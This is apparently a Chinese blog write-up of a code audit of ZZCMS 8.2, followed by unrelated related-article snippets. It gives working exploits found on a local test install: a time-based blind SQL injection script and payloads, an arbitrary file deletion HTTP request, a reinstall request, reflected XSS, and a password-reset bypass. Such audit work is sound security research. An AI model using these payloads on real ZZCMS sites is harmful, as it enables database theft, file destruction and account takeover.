0x00 看网站结构

*********************************
* *
* ZZCMS产品版目录结构 *
* *
********************************* /install 安装程序目录(安装时必须有可写入权限)
/admin 默认后台管理目录(可任意改名)
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录;更多用户网站模板可从http://www.zzcms.net/skin.asp 下载
/template 系统模板存放目录;更多系统模板可从http://www.zzcms.net/template.asp 下载
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zs 招商程序文件
/dl 代理
/zh 展会
/company 企业
/job 招聘
/zx 资讯
/special专题
/pp 品牌
/wangkan 网刊
/ask 问答
/zt 注册用户展厅页程序
/one 专存放单页面,如公司简介页,友情链接页,帮助页都放在这个目录里了
/ajax ajax程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
/3/ckeditor CK编缉器程序存放目录
/3/alipay 支付宝在线支付系统存放目录
/3/tenpay 财富通在线支付系统存放目录
/3/qq_connect2.0 qq登录接口文件
/3/ucenter_api discuz论坛用户同步登录接口文件
/3/kefu 在线客服代码
/3/mobile_msg 第三方手机短信API
/3/phpexcelreader PHP读取excel文件组件
/cache 缓存文件
/uploadfiles 上传文件存放目录
/dl_excel 要导入的代理信息excel表格文件上传目录
/image 程序设计图片,swf文件存放目录
/flash 展厅用透明flash装饰动画存放目录
/js js文件存放目录
/html 静态页存放目录 /favicon.ico 地址栏左侧小图标文件
/web.config 伪静态规则文件for iis7(万网比较常用)
/httpd.ini 伪静态规则文件for iss6
/.htaccess 伪静态规则文件for apache

0x01 通读代码

先看一下入口文件:index.php:

引用配置文件,还有调用模板

先跟过去看看配置文件吧:

top_index.php

1:打开模板

$fp返回值是否为true

if (file_exists($fp)==false){

echo $fp.' no this template';

exit;

2:还有一个我觉得奇怪的点:

$channel=strtolower($_SERVER['REQUEST_URI']);

能够传入我们请求的url,注意一下看看后面的文件有没有可控的点

3:这个页面对username和password的cookie做了过滤,伪造应该不行了

bottom.php:

定义function sitebottom()函数

引用模板

label.php:

调用其他文件

留意一下这个页面show.php

其他页面暂时没看到啥

开始看user文件夹下的文件,重点开始了:

manage.php:

引入了配置文件,猜测是过滤,跟进

conn.php,数据库文件

查看check.php,发现仅仅对用户名和密码是否存在检测,说明过滤文件在别的地方

从上到下一个一个页面看

发布信息栏目:

0x02 文件上传漏洞

重点审计这个,直觉这里问题很大

上传先黑盒测试一下:

图片马上传成功,后台看了一下也没被过滤

这里想getshell方法太多了,就不提了。

,我们去看源码吧

首先,先判断文件是否存在,再检查文件是否超过限制,接着检查文件类型,这里可以用GIF89a绕过检查,最后使用黑名单机制检查文件后缀,问题就出在这里,黑名单少过滤了phtml,而apache会将phtml文件按照php文件来解析

所以我们这样也行:

0x03 sql注入漏洞

简单测试了几下发现因为我们注册的是个人账户,很多功能不能使用

我们直接看这个页面:

http://127.0.0.1/user/manage.php

看代码qq有问题,本地尝试了一下没有发现漏洞

我们看message.php

有过滤

到这里思路陷入了死角,刚才认真思考了一下自己一定是没看到关键文件,他的过滤规则没看到,能否sql注入就看能否找到配置文件了.

没办法,开始看user文件夹下的配置文件,我们根据审计结果

user/del.php

这一处两个配置文件我们再去看一遍:

果然,终于找到了过滤文件

inc/stopsqlin.php

我们跟过去

终于看到了,简单读一下

过滤了xss,过滤了$_SERVER["REQUEST_URI",一开始读代码感到奇怪的点就不能利用了。过滤了sql注入。

我们返回去看check.php

有5处SQL语句查询,第一处,无法利用,因为首先参数经过” /inc/stopsqlin.php“过滤,且被单引号包裹,无法闭合

剩下4处SQL语句要想执行,就必须要先进行注册账号。先来看第二处的sql语句。我们再看getip()函数时,可以发现这里的ip可以伪造,而且代码未经任何过滤,仅仅只是用单引号包裹拼接。

query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE
username='".$username."'");//¸üÐÂ×îºóµÇ¼IP

全局搜索getip:

看到了这个,猜测是定义函数,我们过去看看

这个和bluecms出现了相同的问题

ip我们可控,尝试注入

这里关键参数ip字段我采用的是头部的X-Forwarded-For字段

成功注入出了我们的cms管理员账号密码

密码MD5解密即可(这里sqlmap内置已经解密好了)

全局搜索getip()

在”/user/logincheck.php“、”/admin/logincheck.php“中也存在多处由ip导致的sql注入

这里再看一个sql注入

/user/del.php

我们发现有一个sql语句直接通过两个变量$tablename和$id拼接而成的,而这个$tablename变量可直接从post方式获取,代码未经任何过滤直接拼接,变量$tablename没有经过单引号包裹从而引发了sql注入。

我们看一下继续看

变量$id和$tablename都是经过POST方式获得,但是$id经过checkid的消毒处理

所以我们不能使用大于号、小于号

文章

https://www.freebuf.com/vuls/161888.html

首先我们必须确定列id和editor是属于具体哪个表的

payload:

id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#

这里注意这个不是一个通用payload,因为如果zzcms_answer是一个空表,则该payload无法利用

改进一下:

id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#

因为这里采用的是基于时间的盲注,从zzcms_answer表中查询的结果有可能为空,如果为空,就不能执行后面的if语句,所以为了确保有查询结果,加入联合查询,保证有查询结果

贴上盲注脚本:

#/user/del.php
import requests url = "http://127.0.0.1/user/del.php"
database = "" for i in range(1,50):
flag = 0
for j in range(95,123):
data = {
"id":"1",
"tablename":"zzcms_answer union select 1,2 and if(ascii(substr(database(),%d,1))=%d,sleep(3),1)#"%(i,j)
}
r = requests.post(url,data=data)
t = r.elapsed.total_seconds()
if t >= 3:
database = database + chr(j)
flag = 1
break
if flag == 0 and j == 122:
print("database:",database)
break

0x04 任意文件删除漏洞

页面:

http://127.0.0.1/user/adv.php

!

很明显的任意文件删除

if (isset($_REQUEST["oldimg"])){

$oldimg=$_REQUEST["oldimg"];

}else{

$oldimg="";

}

$rs=query("select usersf from zzcms_user where
username='".$_COOKIE["UserName"]."' "); $row=fetch_array($rs); if ($row["usersf"]=="¸öÈË"){ echo  $f_array[2]; exit; } if ($action=="modify"){ query("update zzcms_textadv set
adv='$adv',company='$company',advlink='$advlink',img='$img',passed=0
where username='".$_COOKIE["UserName"]."'"); //ΪÁË·ÀÖ¹Ò»¸öÓû§Í¨¹ýÐ޸Ĺã¸æ´Ê¹¦Äܳ¤ÆÚ°ÔÕ¼Ò»¸öλÖõ±Óû§Ð޸Ĺã¸æ´Êʱֻ¸üÐÂÆäÄÚÈݲ»¸üÐÂʱ¼ä¡£ //deloldimg if ($oldimg<>$img){             $f="../".$oldimg;             if (file_exists($f)){             unlink($f);                    }

$f变量,该变量直接由"../"与$oldimg拼接而得,并未过滤.和/字符,导致跨目录删除文件。所以按照代码逻辑,我们只要让$img不等于$oldimg,且$action等于”modify”即可。

复现:

同样的问题:

我们看manage.php

payload:

POST /user/manage.php?action=modify HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 433
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/user/manage.php
Cookie: BLUE[user_id]=2; BLUE[user_name]=admin777; BLUE[user_pwd]=f146dec94163c1288e623b9c0d98128d; bdshare_firstime=1581904550027; PHPSESSID=1c1e1b99c601fd3b06c3ead91633d757; UserName=admin888; PassWord=e10adc3949ba59abbe56e057f20f883e
Upgrade-Insecure-Requests: 1 somane=%E7%8E%8B%E5%8F%B9%E4%B9%8B&sex=1&email=1278121435%40qq.com&qq=&oldqq=&mobile=&b=0&s=0&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&address=11&homepage=11&phone=15033334444&fox=11&content=%26nbsp%3B&img=%2Fuploadfiles%2F2020-02%2F20200220110626624.png&oldimg=admin/test.php&flv=&oldflv=&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C

类似的,我们可以在

/user/ppsave.php, /user/zssave.php,/user/licence_save.php可以看到相同问题

0x05 网站重装漏洞

先简单测试一下:

有install.lock 文件,我们去入口文件看看

index.php

开头就是常规的配置文件,对post和get传过来的变量做了过滤。

我们跟进step1_.php

<?php

if(file_exists("install.lock")){

echo "<div
style='padding:30px;'>°²×°Ïòµ¼ÒÑÔËÐа²×°¹ý£¬ÈçÐèÖØ°²×°£¬Çëɾ³ý
/install/install.lock Îļþ</div>"; }

但是去看step2_.php

并没有看到包含这个检测文件,这就造成了网站重装漏洞:

复现:

payload:

POST /install/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6 step=2

0x06 XSS漏洞

位置:

/inc/top.php

很多疑似xss的页面都经过了开头包含” /inc/conn.php“文件,对REQUEST数据进行消毒处理。但是这个文件没有。

问题代码:

<?php
//echo $_SERVER['REQUEST_URI'];
if (@$_POST["action"]=="search"){
echo "<script>location.href='".@$_POST["lb"]."/search.php?keyword=".@$_POST["keyword"]."'</script>";
}

我们只需要将标签闭合即可实现反射型xss

复现:

再来看一个XSS:

位置:

/install/step_6.php 第10-11行

问题代码:

变量$admin和$adminpwdtrue直接打印出来,很可能存在XSS漏洞,我们继续跟进这两个变量

跟进到入口index.php文件

if($_POST) extract($_POST, EXTR_SKIP);//把数组中的键名直接注册为了变量。就像把$_POST[ai]直接注册为了$ai。
if($_GET) extract($_GET, EXTR_SKIP);
$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;

extract函数的作用是将数组的键名变成各个变量名,键名对应键值对应变量的值,并且我们发现一个变量$step,猜测可能跟安装的步骤有关,继续跟进该变量

case '6'://°²×°³É¹¦

            include 'step_'.$step.'.php';

      break;

发现当变量$step值为6时,就包含了step_6.php,而我们可以发现index.php的开头是没有包含之前所说的关键文件/inc/conn.php的,所以这里的POST和GET是没有经过转义处理的,所以$admin和$adminpwdtrue是可控的变量

复现:

同样的漏洞还出现在”/uploadimg_form.php“文件66-67行处

0x07 任意密码修改漏洞

和网站重装类似,我们先看问题代码

/one/getpassword.php文件第 73行,触发漏洞的关键代码。

}elseif($action=="step3" && @$_SESSION['username']!=''){
$passwordtrue = isset($_POST['password'])?$_POST['password']:"";
$password=md5(trim($passwordtrue));
query("update zzcms_user set password='$password',passwordtrue='$passwordtrue' where username='".@$_SESSION['username
$strout=str_replace("{step4}","",$strout) ;
$strout=str_replace("{/step4}","",$strout) ;
$strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
$strout=str_replace("{#username}",@$_SESSION['username'],$strout) ;

这里仅仅判断了 action参数为 step3,并且$_SESSION['username']不为空,就进入密码修改的逻辑,直接执

行sql语句执行update操作。那么这里的$_SESSION['username']从哪里来的,我们继续看代码,在

/one/getpassword.php文件第 31行,可以看到 $_SESSION['username']。

if ($action=="step1"){
$username = isset($_POST['username'])?$_POST['username']:"";
$_SESSION['username']=$username;
checkyzm($_POST["yzm"]);
$rs=query("select mobile,email from zzcms_user where username='" . $username . "' ");
$row=fetch_array($rs);
$regmobile=$row['mobile'];
$regmobile_show=str_replace(substr($regmobile,3,4),"****",$regmobile);
$regemail=$row['email'];
$regemail_show=str_replace(substr($regemail,1,2),"**",$regemail);

这里username是从step1不做中 post传递过来的 username参数,也就是我们要修改的用户名。那么漏洞就很

明显了,在第一步输入要修改的用户名,然后获取session值,直接跳到第三步,修改密码就可以打到任意

用户密码修改。

漏洞复现

第一步先在找回密码页面输入要修改的用户名,点击下一步,burp拦截。

抓包获取session值



这里我们获取到了 session值,然后根据上面的描述,修改数据包,直接进入修改密码操作



这里session就是上面获取到的,只需要修改 post-data值就可以。这里改成mima888。action值要改成step3

才可以进去 数据库 update语句的操作。然后重放数据包,就可以完成任意密码修改了。

0x08 总结

到现在,审计了4天结束了这个cms。

期间有一个最大的尴尬就是没有找到关键配置文件,导致做了很多无用功。

期间多次因为状态不好审计的太慢,漏洞没有复现成功。

下一个cms要比这次读的代码更多,一定要仔细的通读,慢慢来,慢慢积累。

找到漏洞点后要注意看前后代码逻辑,有时候漏洞是在某些特定情况下才能触发。

在寻找某个文件夹下的漏洞时,一定要明白这些文件的关系。

最后,期待下一个cms233.

2020/2/17 zzcms8.2 PHP代码审计的更多相关文章

  1. 2020.10.17 JZOJ 提高B组T2 导弹拦截

    2020.10.17 JZOJ 提高B组T2 导弹拦截 题目 Description 某国为了防御敌国的导弹袭击,发展出一种导弹拦截系统. 敌国的导弹形成了立体打击,每个导弹可以抽象成一个三维空间中的 ...

  2. 2020/2/22 74cms3.5.1 代码审计

    0x00 网站结构 简单试了一下.每一个模块还是比较清楚的,分别对应网站的一个模块.还有一些没有权限访问 0x01 通读代码 先看入口文件,index.php 开头先对网站是否安装做了判断 然后就是判 ...

  3. 2020.10.17【普及组】模拟赛C组 总结

    总结 这次比赛 120 分,老师说上 200 是不容易的,但我觉得这不是我真的水平 改题情况 T1 题目大意:有 N 个小朋友,每个小朋友有 \(B_i\) 个朋友,问从中随机选 3 人使得 3 人关 ...

  4. [每日一题2020.06.17] leetcode周赛T3 5438 制作m束花所需的最少天数 二分搜索

    题目链接 这题我开始一直在想如何在数组上dp操作搜索区间, 很蠢, 实际上用二分查找的方法可以很快的解决 首先我们通过一个函数判断第x天是否符合题意, 如果x天可以做出m束花, 那么大于m的天数必然可 ...

  5. 2020年AI、CV、NLP顶会最全时间表

    2020年AI.CV.NLP顶会最全时间表 2019-09-01 14:04:19 weixin_38753768 阅读数 40   2020 AI.CV.NLP主流会议时间表,包含会议举办的时间.地 ...

  6. 清北学堂—2020.1提高储备营—Day 1 morning(模拟、枚举、搜索)

    qbxt Day 1 morning --2020.1.17 济南 主讲:李佳实 目录一览 1.模拟和枚举 2.基础搜索算法(DFS.BFS.记忆化搜索)以及进阶搜索算法(纯靠自学) 总知识点:基础算 ...

  7. 清北学堂—2020.1提高储备营—Day 1 afternoon(二分、分治、贪心)

    qbxt Day 1 afternoon --2020.1.17 济南 主讲:李佳实 目录一览 1.二分法 2.分治 3.贪心 总知识点:基础算法 一.二分法 (1)算法分析:二分法是一种暴力枚举的优 ...

  8. OpenGL学习日志(2020.4之前)

    咳咳,原本这个日志是本机上随便写的一些记录,也没怎么注意可读性和格式,有用信息密度很小,所以实用价值并不大.暂时由于不可抗因素得先鸽一段落了... 后续的日志会升格为模块化的学习记录,(应该)将会有很 ...

  9. CSP-S 2020 游记

    2020.10.11 初赛了,没怎么做题,之前在网上两次初赛模拟赛 95pts / 94pts,还白嫖了一本书,感觉挺好. 去考场,中途不舒服去了厕所,回来发现有点来不及,阅读程序最后两题不会瞎蒙. ...

随机推荐

  1. Spark教程——(4)Spark-shell调用SQLContext(HiveContext)

    启动Spark-shell: [root@node1 ~]# spark-shell Setting default log level to "WARN". To adjust ...

  2. ORACLE 删除重复的数据

    内容转自:https://www.cnblogs.com/zfox2017/p/7676237.html         查询及删除重复记录的SQL语句   1.查找表中多余的重复记录,重复记录是根据 ...

  3. 扩展中国剩余定理 (ExCRT)

    扩展中国剩余定理 (ExCRT) 学习笔记 预姿势: 扩展中国剩余定理和中国剩余定理半毛钱关系都没有 问题: 求解线性同余方程组: \[ f(n)=\begin{cases} x\equiv a_1\ ...

  4. mabatis--查询缓存

    1.mybatis提供查询缓存,用于减轻数据库压力,提高数据库性能. 2.mybatis提供一级缓存.二级缓存: 3.一级缓存是SqlSession级别的缓存.在SqlSession对象中,存在一个数 ...

  5. Python中的*可变参数与**关键字参数

    1.定义了一个需要两个参数的函数 def print_str(first, second): print first print second if __name__ == "__main_ ...

  6. is application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem

    最近试着了解 c++,接触到了QT,写了一个测试程序,在开发环境下正常后移到非开发环境,报错 网上找资料说是少了platforms文件夹中的dll,把里面所有的dll复制到执行程序目录,还是提示,继续 ...

  7. wpf和winform的区别

    深入浅出WPF(7)——数据的绿色通道,Binding(上) 水之真谛关注6人评论28117人阅读2008-06-23 02:40:00  http://liuteimeng.blog.51cto.c ...

  8. Day5-T2

    原题目 根据社会学研究表明,人们都喜欢和自己身高相近的人做朋友. 现在有 N 名身高各不相同的同学依次走进教室. 调查人员想预测每个人在走入教室的瞬间最想和 已经在教室的哪个人做朋友.当有两名同学和这 ...

  9. Day5 - H - Supermarket POJ - 1456

    A supermarket has a set Prod of products on sale. It earns a profit px for each product x∈Prod sold ...

  10. 05.swoole学习笔记--定时器

    <?php //循环执行的定时器 swoole_timer_tick(,function($timer_id){ echo "执行 $timer_id \n"; }); sw ...